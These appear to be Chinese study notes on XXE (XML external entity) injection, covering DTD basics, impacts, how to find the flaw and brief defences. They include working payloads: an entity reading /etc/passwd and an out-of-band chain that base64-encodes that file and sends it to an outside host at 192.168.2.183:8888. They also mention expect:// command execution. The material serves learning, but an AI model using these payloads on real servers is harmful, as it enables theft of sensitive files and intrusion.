day33_kls

课程内容

xxe

原因

服务器开启了外部实体加载,xml解析器解析了恶意的外部实体,导致读取恶意文件,访问恶意地址

预备知识点

DTD

文档类型定义

document type define

用于约束文档

一个简单的DTD

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--ENTITY author "John Doe"-->
<!-- 外部实体 -->
<!--ENTITY author_external SYSTEM "file:///etc/passwd"-->
<!-- 参数实体 -->
<!--ENTITY % name "to"-->
<!-- 调用参数实体 -->
<!--ELEMENT note (%name; from, heading, body)-->
]>
Tove
<!-- 调用实体 -->
&author;
Reminder
Don't forget me this weekend!

危害

敏感文件读取

ddos

ssrf

挖掘

黑盒

content-type为xml,传入xml

白盒

解析了用户传入的xml

开启了外部实体解析

利用

文件包含

远程文件内容

1
2
3
4
5
6
7
8
9
10
  <!--ENTITY % a SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"-->
<!--ENTITY % b "<!ENTITY % c SYSTEM 'http://192.168.2.183:8888/?f=%a;'-->">
%b;
%c;
``` xml

包含
``` xml
%d;
]>

命令执行

expect://cmd

ddos

循环调用

防御

不允许外部实体

过滤伪协议